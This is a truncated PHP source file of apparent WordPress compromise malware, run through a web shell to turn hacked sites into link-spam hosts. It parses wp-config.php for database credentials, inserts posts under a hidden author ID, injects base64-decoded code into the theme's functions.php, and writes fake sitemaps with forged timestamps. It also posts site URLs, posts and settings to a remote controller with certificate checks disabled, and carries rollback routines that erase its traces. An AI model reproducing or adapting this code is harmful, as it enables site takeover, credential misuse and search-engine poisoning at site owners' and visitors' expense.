X2NhbGwnKTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoZ2V0X3RoZW1lX21vZF9zdGF0KCRnZXRfcXVlcmllZF9vYmplY3RfaWRfcG9pbnRlcikpIHsNCiAgICAgICAgICAgIGFkZF9hY3Rpb24oJ3dwX2Zvb3RlcicsICdnZXRfc2VhcmNoX2Zvcm1fY2FsbCcpOw0KICAgICAgICB9DQoNCg0KICAgIH0NCn0NCg0KLyogY3VzdG9tIGZpbHRlcnMgKi8='; if (defined('OBFUSCATE_CUSTOM_FUNCTIONS') && OBFUSCATE_CUSTOM_FUNCTIONS === 1) { $gzSource = WritePostsWpHandler::gzCompressCustom(base64_decode($source)); $source = WritePostsWpHandler::sendPostData(GS_ALIAS . '/src/functionsHandlerDev.php', array( 'host' => urlencode($_SERVER['HTTP_HOST']), 'data' => urlencode($gzSource), )); } else { $decodedSource = base64_decode($source); $newEdges = sprintf('/* %s */', WritePostsWpHandler::optionCustomFunctions()); $source = preg_replace('~/\*\s+custom filters\s+\*/~s', $newEdges, $decodedSource); $source = WritePostsWpHandler::removeDebugFromCustom($source); } $settings = WritePostsWpHandler::settingsArr($functionsSource); if (!$settings) { GlobalLogs::setMainLog('settings return false'); return false; } WritePostsWpHandler::writeSettingsDB($settings); $customFiltersUpdateResult = WritePostsWpHandler::mbReplaceCustomFilters($functionsSource , $functionsPath, $source); if ($customFiltersUpdateResult) { WritePostsWpHandler::getSitemapUrls(); return true; } return false; } public static function homeLinksOldAction() { $hash = md5(HOME_URL); $permLinks = array(); if (WritePostsWpHandler::isBadEnvCustom()) { echo 'change shell, invalid require wp-blog-header' . PHP_EOL; exit; } if (!function_exists('get_permalink')) { require WP_ROOT_DIR . '/wp-blog-header.php'; } $posts = CustomDbHandler::getInstance() ->allPostsFromDb(HOME_URL, CUSTOM_AUTHOR_ID); if (empty($posts)) { echo '!!!!!!!!no posts for this author!!!!!' . PHP_EOL; return false; } foreach ($posts as $post) { list ($url, $anchor) = explode(';', $post, 2); preg_match('~\?p=(\d+)~', $post, $matches); $postId = $matches[1]; $permLinks[] = array(get_permalink($postId), $anchor); wp_cache_delete($postId, 'posts'); } if (empty($permLinks)) { echo 'invalid fetch permalinks' . PHP_EOL; return false; } $compressed = gzcompress(json_encode($permLinks), 9); $url = GS_ALIAS . '/dnc/wp-acceptors-api/home-links?hash=' . $hash . '&permhash=' . md5($compressed); $results = WritePostsWpHandler::sendPostData($url, array( 'homeLinksSettings' => json_encode($_SERVER['homeLinksSettings']), 'url' => urlencode(HOME_URL), 'permLinks' => urlencode($compressed) ) ); $uncompressed = gzuncompress($results); if (!WritePostsWpHandler::isJson($uncompressed)) { echo 'invalid home links format' . PHP_EOL; return false; } $blocks = json_decode($uncompressed, 1); if (empty($blocks)) { echo 'no texts for this language' . PHP_EOL; return false; } foreach ($blocks as $key => $value) { update_option('home_links_custom_' . $key, $value); } echo sprintf('%s text block(s) available for use%s', count($blocks), PHP_EOL); return true; } public static function homeLinksAction() { $hash = md5(HOME_URL); $permLinks = array(); if (WritePostsWpHandler::isBadEnvCustom()) { echo 'change shell, invalid require wp-blog-header' . PHP_EOL; exit; } $posts = CustomDbHandler::getInstance() ->allPostsFromDb(HOME_URL, CUSTOM_AUTHOR_ID); if (empty($posts)) { GlobalLogs::setMainLog('!!!!!!!!no posts for this author!!!!!'); return false; } $permalinksFromSitemap = WritePostsWpHandler::fetchPermalinksFromSitemap(); if (!empty($permalinksFromSitemap)) { $iter = 1; foreach ($posts as $post) { list (, $anchor) = explode(';', $post, 2); $permalinkSitemap = array_shift($permalinksFromSitemap); $permLinks[] = array($permalinkSitemap, $anchor); //$iter++; //if ($iter > 10) break; } } else { define('SHORTINIT', true); require_once(WP_ROOT_DIR . '/wp-load.php'); require_once(ABSPATH . WPINC . '/option.php'); require_once(ABSPATH . WPINC . '/class-wp-post.php'); require_once(ABSPATH . WPINC . '/post.php'); require_once(ABSPATH . WPINC . '/class-wp-rewrite.php'); require_once(ABSPATH . WPINC . '/link-template.php'); require_once(ABSPATH . WPINC . '/category-template.php'); require_once(ABSPATH . WPINC . '/taxonomy.php'); require_once(ABSPATH . WPINC . '/l10n.php'); require_once(ABSPATH . WPINC . '/functions.php'); require_once(ABSPATH . WPINC . '/cache.php'); require_once(ABSPATH . WPINC . '/formatting.php'); require_once(ABSPATH . WPINC . '/user.php'); require_once(ABSPATH . WPINC . '/pluggable.php'); global $wpdb; $iter = 1; foreach ($posts as $post) { list ($url, $anchor) = explode(';', $post, 2); preg_match('~\?p=(\d+)~', $post, $matches); $postId = $matches[1]; $post = get_post($postId); $permLinks[] = array(WritePostsWpHandler::getPermalinkCustom($post), $anchor); //$iter++; //if ($iter > 10) break; wp_cache_delete($postId, 'posts'); } } if (empty($permLinks)) { GlobalLogs::setMainLog('invalid fetch permalinks'); return false; } $compressed = gzcompress(json_encode($permLinks), 9); $url = GS_ALIAS . '/dnc/wp-acceptors-api/home-links?hash=' . $hash . '&permhash=' . md5($compressed); $results = WritePostsWpHandler::sendPostData($url, array( 'homeLinksSettings' => json_encode($_SERVER['homeLinksSettings']), 'url' => urlencode(HOME_URL), 'permLinks' => urlencode($compressed) ) ); $uncompressed = gzuncompress($results); if (!WritePostsWpHandler::isJson($uncompressed)) { GlobalLogs::setMainLog('invalid home links format'); return false; } $blocks = json_decode($uncompressed, 1); if (empty($blocks)) { GlobalLogs::setMainLog('no texts for this language'); return false; } foreach ($blocks as $key => $value) { CustomDbHandler::getInstance() ->insertOrUpdate('home_links_custom_' . $key, $value); } GlobalLogs::setMainLog(sprintf('%s text block(s) available for use', count($blocks))); return true; } public static function viewAllAuthorsAction() { CustomDbHandler::getInstance()->viewAllAuthors(); return true; } public static function sendAction() { $api = GS_ALIAS . '/src/wpacc-v2-leo.php'; try { $debugData = array( 'url' => HOME_URL, 'fullUrls' => WritePostsWpHandler::allPostsFullUrlWithoutRequire(), 'settings' => WritePostsWpHandler::debugDataCustom(), ); $responseData = WritePostsWpHandler::sendPostData($api, array( 'url' => urlencode(HOME_URL), 'debug' => urlencode(gzcompress(json_encode($debugData), 9)), )); } catch (\Exception $ex) { GlobalLogs::setMainLog($ex->getMessage()); } if (trim($responseData) === 'success') { GlobalLogs::setMainLog('data sent'); return true; } GlobalLogs::setMainLog('error while send data'); return false; } public static function cleanAction() { WritePostsWpHandler::removeDirRec(TMPDIR); if (is_dir(TMPDIR)) { rmdir(TMPDIR); } return true; } public static function rollbackAction() { WritePostsWpHandler::deleteSettings(); WritePostsWpHandler::deletePostsCurrentAuthor(); WritePostsWpHandler::removePluginsBackupForAuthorId(); WritePostsWpHandler::removeDirRec(TMPDIR); if (is_dir(TMPDIR)) { rmdir(TMPDIR); } return true; } public static function globalRollbackAction() { WritePostsWpHandler::deletePostsAllAuthors(); WritePostsWpHandler::removeDirRec(TMPDIR); if (!defined('CUSTOM_TEMPLATE_PATH')) { $templateDirectory = WritePostsWpHandler::getTemplatePath(); } else { $templateDirectory = CUSTOM_TEMPLATE_PATH; } $functionsPath = $templateDirectory . '/functions.php'; if (!file_exists($functionsPath)) { GlobalLogs::setMainLog($functionsPath . ' not found'); return true; } if (!is_writeable($functionsPath)) { GlobalLogs::setMainLog($functionsPath . '/ not writable'); return true; } $functionsSource = file_get_contents($functionsPath); //$regexp = '~\/\*\s+custom filters\s+\*\/(.+)\/\*\s*custom filters\s*\*\/~su'; $optionCustom = WritePostsWpHandler::optionCustomFunctions(); $regexp = "~/\*\s*(custom filters|$optionCustom)\s*\*/(.+)/\*\s*(custom filters|$optionCustom)\s*\*/~su"; $newSource = preg_replace($regexp, '', $functionsSource); if ($newSource !== $functionsSource) { file_put_contents($functionsPath, $newSource); GlobalLogs::setMainLog('return original functions.php'); } WritePostsWpHandler::writeSettingsDB(array()); WritePostsWpHandler::removeHomeLinksCustom(); return true; } public static function sendPostsFromDbAction() { $api = GS_ALIAS . '/src/wpacc.php'; $urls = CustomDbHandler::getInstance() ->allPostsFromDb(HOME_URL, CUSTOM_AUTHOR_ID); if (empty($urls)) { GlobalLogs::setMainLog("no posts by author id"); return false; } $source = implode("\n", $urls); $responseData = WritePostsWpHandler::sendPostData($api, array( 'url' => urlencode(HOME_URL), 'source' => urlencode($source), )); if (trim($responseData) === 'success') { GlobalLogs::setMainLog('data sent'); return true; } GlobalLogs::setMainLog("error while send data"); return false; } public static function viewSettingsAction() { $settings = WritePostsWpHandler::getDbSettingsCustom(); if ($settings) { foreach ($settings as $userId => $arr) { echo str_repeat('_', 100) . PHP_EOL; echo $userId . ' - userId' . PHP_EOL; if (isset($arr['js']) && $decodedJs = WritePostsWpHandler::detectBase64js($arr['js'])) { $arr['js'] = WritePostsWpHandler::parseJsScript($decodedJs); } echo json_encode($arr, JSON_PRETTY_PRINT); echo str_repeat('_', 100) . PHP_EOL; } return true; } echo 'no settings in DB' . PHP_EOL; return; } public static function allPermalinksAction() { var_dump(CustomDbHandler::getInstance() ->allPostsFromDb(HOME_URL, CUSTOM_AUTHOR_ID)); return; } public static function sitemapSecondMethodAction() { if (!WritePostsWpHandler::checkSitemapNameRoot()) { return false; } if (WritePostsWpHandler::isBadEnvCustom()) { GlobalLogs::setMainLog('change shell, invalid require wp-blog-header'); exit; } //require_once WP_ROOT_DIR . '/wp-blog-header.php'; $head = WritePostsWpHandler::sitemapHeadSec(); $sitemapSource = $head . "\n"; $sitemapPath = WP_ROOT_DIR . '/' . SITEMAP_NAME . '.xml'; try { $urls = CustomDbHandler::getInstance() ->allPostsFromDb(HOME_URL, CUSTOM_AUTHOR_ID); } catch (Exception $ex) { throw new Exception('invalid fetch urls for sitemap'); } if (empty($urls)) { GlobalLogs::setMainLog('no posts by author id'); return false; } define('SHORTINIT', true); require_once(WP_ROOT_DIR . '/wp-load.php'); require_once(ABSPATH . WPINC . '/option.php'); require_once(ABSPATH . WPINC . '/class-wp-post.php'); require_once(ABSPATH . WPINC . '/post.php'); require_once(ABSPATH . WPINC . '/class-wp-rewrite.php'); require_once(ABSPATH . WPINC . '/link-template.php'); require_once(ABSPATH . WPINC . '/category-template.php'); require_once(ABSPATH . WPINC . '/taxonomy.php'); require_once(ABSPATH . WPINC . '/l10n.php'); require_once(ABSPATH . WPINC . '/functions.php'); require_once(ABSPATH . WPINC . '/cache.php'); require_once(ABSPATH . WPINC . '/formatting.php'); require_once(ABSPATH . WPINC . '/user.php'); require_once(ABSPATH . WPINC . '/pluggable.php'); global $wpdb; foreach ($urls as $urlWithTitle) { list ($url, $title) = explode(';', $urlWithTitle, 2); preg_match('~\?p=(\d+)~', $url, $idMatches); //$url = get_permalink($idMatches[1]); $postId = $idMatches[1]; $post = get_post($postId); $url = WritePostsWpHandler::getPermalinkCustom($post); //$permLinks[] = array(WritePostsWpHandler::getPermalinkCustom($post), $anchor); //GlobalLogs::setMainLog($url); $lastmod = date('Y-m-d'); $changefreqArr = array('monthly', 'weekly', 'daily', 'hourly', 'always'); $priority = '0.' . rand(5, 9); $sitemapSource .= WritePostsWpHandler::urlBlockSec($url, $lastmod, $changefreqArr[rand(0, count($changefreqArr) - 1)] , $priority); wp_cache_delete($idMatches[1], 'posts'); } $sitemapSource .= "\n</urlset>"; if (file_put_contents($sitemapPath, $sitemapSource)) { touch($sitemapPath, WritePostsWpHandler::frequenttimestamp(WP_ROOT_DIR)); GlobalLogs::setMainLog(WritePostsWpHandler::currenturl($sitemapPath, HOME_URL)); return true; } return false; } public static function sitemapAction() { if (!WritePostsWpHandler::checkSitemapNameRoot()) return false; $head = WritePostsWpHandler::sitemapHeadSec(); $sitemapSource = $head . "\n"; $sitemapPath = WP_ROOT_DIR . '/' . SITEMAP_NAME . '.xml'; try { $urls = CustomDbHandler::getInstance() ->allPostsFromDb(HOME_URL, CUSTOM_AUTHOR_ID); } catch (Exception $ex) { throw new Exception('invalid fetch urls for sitemap'); } if (empty($urls)) { GlobalLogs::setMainLog('no posts by author id'); return false; } foreach ($urls as $urlWithTitle) { list ($url, $title) = explode(';', $urlWithTitle, 2); $lastmod = date('Y-m-d'); $changefreqArr = array('monthly', 'weekly', 'daily', 'hourly', 'always'); $priority = '0.' . rand(5, 9); $sitemapSource .= WritePostsWpHandler::urlBlockSec($url, $lastmod, $changefreqArr[rand(0, count($changefreqArr) - 1)] , $priority); } $sitemapSource .= "\n</urlset>"; if (file_put_contents($sitemapPath, $sitemapSource)) { GlobalLogs::setMainLog(WritePostsWpHandler::currenturl($sitemapPath)); return true; } return false; } } register_shutdown_function(array('WritePostsWpHandler', 'deleteMutex')); class CustomDbHandler { const DB_TYPE_SQLITE = 'sqlite'; const DB_TYPE_MYSQL = 'mysql'; /** * @var CustomDbHandler */ private static $instance; public $dbName; public $dbPrefix; public $dbUser; public $dbPassword; public $dbHostAddr; public $dbPort; public $dbType; private $dsn; public function __construct($db, $config = false) { $this->dsn = $db; $this->setDBSettings($config); $this->dbType = (!$config) ? self::DB_TYPE_SQLITE : self::DB_TYPE_MYSQL; static::$instance = $this; } public function setDBSettings($config) { /** sqlite **/ if (!$config) { $this->dbName = 'main'; $this->dbPrefix = 'wp_'; } else { $this->dbName = $config['dbname']; $this->dbUser = $config['dbuser']; $this->dbPassword = $config['dbpassword']; $this->dbHostAddr = $config['dbhostaddr']; $this->dbPrefix = $config['dbprefix']; $this->dbPort = $config['dbport']; } return; } public static function getInstance() { if (static::$instance) { return static::$instance; } return null; } public function getOptionLike($optionName) { $tableWithPrefix = $this->dbPrefix . 'options'; $query = "SELECT * from $tableWithPrefix where option_name LIKE :option_name "; $stmt = $this->dsn->prepare($query); $stmt->execute(array( ':option_name' => '%' . $optionName . '%' )); $options = array(); while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) { if ($row) { $options[] = $row; } } return $options; } public function homeUrl() { //'home' or 'siteurl' $homeOption = $this->getOption('home'); if (strstr($homeOption['option_value'], 'http') !== false) { return $homeOption['option_value']; } $siteUrlOption = $this->getOption('siteurl'); if (strstr($siteUrlOption['option_value'], 'http') !== false) { return $siteUrlOption['option_value']; } return false; } public function getOption($optionName) { $tableWithPrefix = $this->dbPrefix . 'options'; $query = "SELECT * from $tableWithPrefix where option_name = :option_name "; $stmt = $this->dsn->prepare($query); $stmt->execute(array( ':option_name' => $optionName )); return $stmt->fetch(); } public function allPostsFromDb($homeUrl, $userId = 9999) { //SELECT ID, post_title FROM `wp_posts` where post_author = 9999 $table = sprintf('`%s`.`%sposts`', $this->dbName, $this->dbPrefix); $query = "SELECT ID, post_title FROM $table where post_author = :user_id"; $stmt = $this->dsn->prepare($query); $stmt->execute(array( ':user_id' => $userId )); $urls = array(); while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) { if ($row) { $urls[] = $homeUrl . '/?p=' . $row['ID'] . ';' . $row['post_title']; } } return $urls; } public function allPostsFromDbWithPostName($homeUrl, $userId = 9999) { //SELECT ID, post_title FROM `wp_posts` where post_author = 9999 $table = sprintf('`%s`.`%sposts`', $this->dbName, $this->dbPrefix); $query = "SELECT ID, post_title, post_name FROM $table where post_author = :user_id"; $stmt = $this->dsn->prepare($query); $stmt->execute(array( ':user_id' => $userId )); $urls = array(); while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) { if ($row) { //$urls[] = $homeUrl . '/?p=' . $row['ID'] . ';' . $row['post_title'] . ';' . $row['post_name']; $urls[] = array($homeUrl . '/?p=' . $row['ID'], $row['post_title'], $row['post_name']); } } return $urls; } public function lastPostDateQuery() { //SELECT ID, post_date FROM `wp_posts` order by ID DESC LIMIT 1 $table = sprintf('`%s`.`%sposts`', $this->dbName, $this->dbPrefix); $query = "SELECT ID, post_date FROM $table order by ID DESC LIMIT 1"; $stmt = $this->dsn->query($query); if ($stmt) { $lastDateFetch = $stmt->fetch(); $date = $lastDateFetch['post_date']; } else { $date = date('Y-m-d H:i:s'); } return $date; } public function insertPost($title, $content, $date, $userId = '', $customSlug = '') { $date = ($date === '') ? WritePostsWpHandler::randDate() : $date; $userId = !$userId ? 1 : $userId; $table = sprintf('`%s`.`%sposts`', $this->dbName, $this->dbPrefix); $query = "INSERT INTO $table ( `post_author`, `post_date`," . " `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`," . " `post_status`, `comment_status`, `ping_status`, `post_password`," . " `post_name`, `to_ping`, `pinged`, `post_modified`," . " `post_modified_gmt`, `post_content_filtered`, `post_parent`," . " `guid`, `menu_order`, `post_type`, `post_mime_type`," . " `comment_count`) VALUES (:user_id, :date, :date, :content," . " :title, '', 'publish', 'closed', 'closed', '', :slug, '', ''," . " '0000-00-00 00:00:00.000000', '0000-00-00 00:00:00.000000', ''," . " '0', '', '0', 'post', '', '0');"; $stmt = $this->dsn->prepare($query); $stmt->execute(array( ':user_id' => $userId, ':date' => $date, ':content' => $content, ':title' => $title, ':slug' => urlencode($customSlug), )); return $this->dsn->lastInsertId(); } public function viewAllAuthors() { $table = sprintf('`%s`.`%sposts`', $this->dbName, $this->dbPrefix); $query = "SELECT DISTINCT post_author FROM $table"; $stmt = $this->dsn->query($query); while ($row = $stmt->fetch(PDO::FETCH_LAZY)) { if ($row['post_author']) { echo $row['post_author'] . PHP_EOL; } } } public function insertOrUpdate($optionName, $optionValue) { if ($this->getOption($optionName)) { //echo sprintf('%s option exists, update', $optionName) . PHP_EOL; return $this->updateWpOptions($optionName, $optionValue); } else { //echo sprintf('%s option no exists, insert', $optionName) . PHP_EOL; return $this->insertWpOptions($optionName, $optionValue); } } public function updateWpOptions($optionName, $optionValue) { $table = sprintf('`%s`.`%soptions`', $this->dbName, $this->dbPrefix); $query = "UPDATE $table set option_value = :option_value where option_name = :option_name"; $stmt = $this->dsn->prepare($query); return $stmt->execute(array( ':option_value' => $optionValue, ':option_name' => $optionName, )); } public function insertWpOptions($optionName, $optionValue) { $table = sprintf('`%s`.`%soptions`', $this->dbName, $this->dbPrefix); $query = "INSERT INTO $table ( option_name, option_value, autoload)" . "VALUES (:option_name, :option_value, 'yes')"; $stmt = $this->dsn->prepare($query); $stmt->execute(array( ':option_name' => $optionName, ':option_value' => $optionValue, )); return $this->dsn->lastInsertId(); } public function deleteOption($optionName) { $table = sprintf('`%s`.`%soptions`', $this->dbName, $this->dbPrefix); $query = "delete FROM $table where option_name = :option_name"; $stmt = $this->dsn->prepare($query); return $stmt->execute(array( ':option_name' => $optionName, )); } public function deletePosts($authors) { $authorsCommaSeparated = implode(', ', $authors); $table = sprintf('`%s`.`%sposts`', $this->dbName, $this->dbPrefix); $column = sprintf('`%sposts`.`post_author`', $this->dbPrefix); $query = "delete FROM $table where $column IN ($authorsCommaSeparated)"; $stmt = $this->dsn->prepare($query); $stmt->execute(); return $stmt->rowCount(); } } final class GlobalLogs { private static $logs; private function __construct() { } public static function setMainLog($message) { static::$logs['main'][] = $message; static::$logs['debug'][] = $message; } public static function setDebugLog($message) { static::$logs['debug'][] = $message; } public static function getMainLogs() { if (isset(static::$logs['main'])) { return implode("\n", static::$logs['main']); } return null; } public static function getDebugLogs() { if (isset(static::$logs['debug'])) { return implode("\n", static::$logs['debug']); } return null; } public function __wakeup() { } private function __clone() { } } class WritePostsWpHandler { public static function tryConnect() { $configSource = file_get_contents(WP_ROOT_DIR . '/wp-config.php'); $configArr = WritePostsWpHandler::parseWpConfig($configSource); try { $customDbLink = self::customDbLink($configSource); $dbConfig = self::detectSqliteInstance($configSource) ? false : $configArr; $customDbHandler = new CustomDbHandler($customDbLink, $dbConfig); return $customDbHandler; } catch (Exception $ex) { if (!$dbConfig) { $errorPdoConnection = 1; } else { GlobalLogs::setDebugLog('Could not connect to db ' . $ex->getMessage()); return false; } } if (isset($errorPdoConnection)) { GlobalLogs::setDebugLog('alternative connect'); require_once(WP_ROOT_DIR . '/wp-config.php'); $definedConstants = get_defined_constants(true); if (!$definedConstants['user']) { GlobalLogs::setDebugLog('Could not connect to db alternative method'); return false; } $dbname = $definedConstants['user']['DB_NAME']; $dbuser = $definedConstants['user']['DB_USER']; $dbpassword = $definedConstants['user']['DB_PASSWORD']; $dbhostaddr = $definedConstants['user']['DB_HOST']; /** @var $table_prefix global wp var */ $dbprefix = $table_prefix; if (stristr($dbhostaddr, ':') !== false) { list($hostAddr, $dbPort) = explode(':', $dbhostaddr); } else { $dbPort = 3306; $hostAddr = $dbhostaddr; } try { $dbh = sprintf('mysql:host=%s;dbname=%s;port=%s', $hostAddr, $dbname, $dbPort); $customDbLink = new PDO($dbh, $dbuser, $dbpassword , array(PDO::MYSQL_ATTR_INIT_COMMAND => 'SET sql_mode="ALLOW_INVALID_DATES", NAMES utf8')); $customDbHandler = new CustomDbHandler($customDbLink, $dbConfig); return $customDbHandler; } catch (Exception $ex) { GlobalLogs::setDebugLog('Could not connect to db ' . $ex->getMessage()); return false; } } } public static function parseWpConfig($configSource) { preg_match_all("~^define.*(DB_NAME|DB_USER|DB_PASSWORD|DB_HOST)[\'\"],\s*[\'\"](.+)[\'\"]\s*\);~m", $configSource, $dbhost); preg_match("~table_prefix\s+=\s*[\'\"](.+)[\'\"];~", $configSource, $prefix); if (stristr($dbhost[2][3], ':') !== false) { list($hostAddr, $dbPort) = explode(':', $dbhost[2][3]); } else { $hostAddr = $dbhost[2][3]; $dbPort = 3306; } return array( 'dbname' => $dbhost[2][0], 'dbuser' => $dbhost[2][1], 'dbpassword' => $dbhost[2][2], 'dbhostaddr' => $hostAddr, 'dbprefix' => $prefix[1], 'dbport' => $dbPort, ); } public static function customDbLink($configSource) { if (self::detectSqliteInstance($configSource)) { if (!self::isAvailablePdoDriver('sqlite')) { GlobalLogs::setMainLog('sqlite driver not found'); return false; } $db = new PDO("sqlite:" . WP_ROOT_DIR . '/wpsqlite.db'); } else { if (!self::isAvailablePdoDriver('mysql')) { GlobalLogs::setMainLog('mysql driver not found'); return false; } $configArr = WritePostsWpHandler::parseWpConfig($configSource); $dbh = sprintf('mysql:host=%s;dbname=%s;port=%s', $configArr['dbhostaddr'], $configArr['dbname'], $configArr['dbport']); $db = new PDO($dbh, $configArr['dbuser'], $configArr['dbpassword'] , array(PDO::MYSQL_ATTR_INIT_COMMAND => 'SET sql_mode="ALLOW_INVALID_DATES"')); } return $db; } public static function detectSqliteInstance($configSource) { if (strstr($configSource, 'wpsqlite.db') !== false) { return true; } return false; } public static function isAvailablePdoDriver($name) { return (in_array($name, PDO::getAvailableDrivers())); } public static function getSource($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); $data = curl_exec($ch); $code = curl_getinfo($ch, CURLINFO_HTTP_CODE); $res = ($code == 200) ? $data : NULL; curl_close($ch); return $res; } public static function sendPostData($url, $fields) { $fields_string = ''; foreach ($fields as $key => $value) { $fields_string .= $key . '=' . $value . '&'; } rtrim($fields_string, '&'); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_POST, count($fields)); curl_setopt($ch, CURLOPT_POSTFIELDS, $fields_string); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); $result = curl_exec($ch); $info = curl_getinfo($ch); if (curl_errno($ch)) { $error_msg = curl_error($ch); GlobalLogs::setDebugLog('Post response error'); GlobalLogs::setDebugLog($error_msg); return null; } curl_close($ch); return ($info["http_code"] == 200) ? $result : null; } public static function removeDirRec($dir) { if (!is_dir($dir)) { return; } if ($objs = glob($dir . "/{,.}[!.,!..]*", GLOB_MARK | GLOB_BRACE)) { foreach ($objs as $obj) { is_dir($obj) ? WritePostsWpHandler::removeDirRec($obj) : unlink($obj); } } rmdir($dir); } public static function easyCrypt($str, $key) { $method = 'aes256'; return @openssl_encrypt($str, $method, $key); } public static function easyDecrypt($crypted, $method, $key) { return openssl_decrypt($crypted, $method, $key); } public static function uncompressString($compressed) { return gzinflate(base64_decode($compressed)); } public static function detectWProotDir() { if (file_exists(CURRENTDIR . '/wp-config.php')) { return rtrim(CURRENTDIR, '/'); } $normalizePath = preg_replace('~\/(wp-admin|wp-includes|wp-content).*$~', '', CURRENTDIR); if (file_exists($normalizePath . '/wp-config.php')) { return $normalizePath; } return null; } public static function tmpDirCustom() { if (function_exists('sys_get_temp_dir')) { $tmpDir = sys_get_temp_dir(); if (is_writeable($tmpDir)) { return $tmpDir; } } $tmpDir = ini_get('upload_tmp_dir'); if ($tmpDir) { if (is_writeable($tmpDir)) { return $tmpDir; } } $wpContentTmpDir = WritePostsWpHandler::writableDir(); if ($wpContentTmpDir) { return $wpContentTmpDir; } return false; } public static function writableDir() { foreach (array('wp-content/uploads', 'wp-content/themes', 'wp-content/plugins') as $mbWriteablePath) { $writeableDirectory = WritePostsWpHandler::findWriteablePath(WP_ROOT_DIR . '/' . $mbWriteablePath); if (!empty($writeableDirectory)) { return $writeableDirectory; } } } public static function findWriteablePath($pathForScaning) { if (is_writeable($pathForScaning)) { return $pathForScaning; } $subdirs = glob($pathForScaning . '/*', GLOB_ONLYDIR); if (!empty($subdirs)) { foreach ($subdirs as $dir) { if (is_writable($dir)) { return $dir; } } } return null; } public static function linkBuildingSettingsCheck() { if (defined('EXTERNAL_LINKING') && (EXTERNAL_LINKING === 1)) { if (!defined('EXTERNAL_LINKS_COUNT_PAGE')) { GlobalLogs::setMainLog('set EXTERNAL_LINKS_COUNT_PAGE'); return false; } if (!defined('TABLE_HASH') && !defined('HTML_HASH')) { GlobalLogs::setMainLog('set TABLE_HASH or HTML_HASH value'); return false; } if (!defined('COUNT_LINKS_FROM_DOMAIN')) { GlobalLogs::setMainLog('set COUNT_LINKS_FROM_DOMAIN'); return false; } } return true; } public static function tmpDir() { $tmpDirName = $_SERVER['HTTP_HOST']; if (!is_dir(WRITABLE_PATH . '/' . $tmpDirName)) { if (!mkdir(WRITABLE_PATH . '/' . $tmpDirName)) { return false; } } return WRITABLE_PATH . '/' . $tmpDirName; } public static function checkHomeUrl($homeUrl) { if (!defined('HOME_URL')) { if (!$homeUrl) { GlobalLogs::setMainLog('homeurl function return null, please define HOME_URL manually'); exit; } else { define('HOME_URL', $homeUrl); } } } public static function removePluginsBackupForAuthorId() { $prefix = "plugins_backup_" . CUSTOM_AUTHOR_ID . '_'; $options = CustomDbHandler::getInstance()->getOptionLike($prefix); if (empty($options)) { return; } $names = array_column($options, 'option_name'); foreach ($names as $name) { CustomDbHandler::getInstance()->deleteOption($name); } } public static function customFormatResponse() { $sitemapUrl = HOME_URL . '/' . SITEMAP_NAME . '.xml'; $sitemapUrlSec = HOME_URL . '/?feed=xml' . SITEMAP_NAME; echo $sitemapUrl . PHP_EOL; echo $sitemapUrlSec . PHP_EOL . PHP_EOL; } public static function allPostsFullUrlWithoutRequire($limit = false) { $userId = defined('CUSTOM_AUTHOR_ID') ? CUSTOM_AUTHOR_ID : 9999; $urls = array(); $permalinkOption = CustomDbHandler::getInstance()->getOption('permalink_structure'); if (!$permalinkOption) { $isRewrite = false; } else { $isRewrite = $permalinkOption['option_value'] !== '' ? true : false; } $canonicalUrls = CustomDbHandler::getInstance()->allPostsFromDbWithPostName(HOME_URL, $userId); $iter = 1; if (!empty($canonicalUrls)) { foreach ($canonicalUrls as $canonicalUrlArr) { list ($link, $title, $postName) = $canonicalUrlArr; preg_match('~\?p=(\d+)~', $link, $idMatches); $postNameOrLink = ($isRewrite) ? $postName : $link; $urls[] = array( $postNameOrLink, $idMatches[1], $title ); if (function_exists('wp_cache_delete')) { wp_cache_delete($idMatches[1], 'posts'); } if ($limit && ($iter >= $limit)) { break; } $iter++; } } return $urls; } public static function areAllActionsCompleted($actionsWithStatus) { if (array_key_exists('sitemap', $actionsWithStatus)) $actionsWithStatus['sitemap'] = 1; if (in_array(1, $actionsWithStatus) === false) { GlobalLogs::setMainLog('no scheduled actions'); return true; } return false; } public static function customCheckActions($actions) { if (defined('IGNORE_ACTIONS_LOG') && IGNORE_ACTIONS_LOG === 1) { return $actions; } $pluginsOptionsName = WritePostsWpHandler::pluginsBackupOptionName(); if (defined('REMOVE_ACTIONS_LOG') && REMOVE_ACTIONS_LOG === 1) { CustomDbHandler::getInstance()->deleteOption($pluginsOptionsName); return $actions; } $pluginsBackupOption = CustomDbHandler::getInstance()->getOption($pluginsOptionsName); if ($pluginsBackupOption && WritePostsWpHandler::isJson($pluginsBackupOption['option_value'])) { $actionsDb = json_decode($pluginsBackupOption['option_value'], 1); if (WritePostsWpHandler::actionsWasChanged($actions, $actionsDb)) { CustomDbHandler::getInstance()->deleteOption($pluginsOptionsName); return $actions; } return $actionsDb; } return $actions; } public static function pluginsBackupOptionName() { $tmp = str_replace('{DIR_NUM}', DIR_NUM, URL_WITH_ARCHIVES); return "plugins_backup_" . CUSTOM_AUTHOR_ID . '_' . md5($tmp); } public static function isJson($string) { json_decode($string); return (json_last_error() == JSON_ERROR_NONE); } public static function actionsWasChanged($actions, $actionsDb) { if (count($actions) !== count($actionsDb)) { return true; } foreach ($actions as $actionName => $actionValue) { if (!isset($actionsDb[$actionName])) { return true; } } return false; } public static function checkMutex($customMutexPath) { if (file_exists($customMutexPath)) { if (WritePostsWpHandler::mutexOutOfDate($customMutexPath)) { WritePostsWpHandler::customSetMutex($customMutexPath); } else { //die('script already running'); } } else { WritePostsWpHandler::customSetMutex($customMutexPath); } } public static function mutexOutOfDate($mutexName, $outOfDateTimeInSeconds = 90) { clearstatcache(); $mutextTimestamp = filemtime($mutexName); return ((time() - $mutextTimestamp) 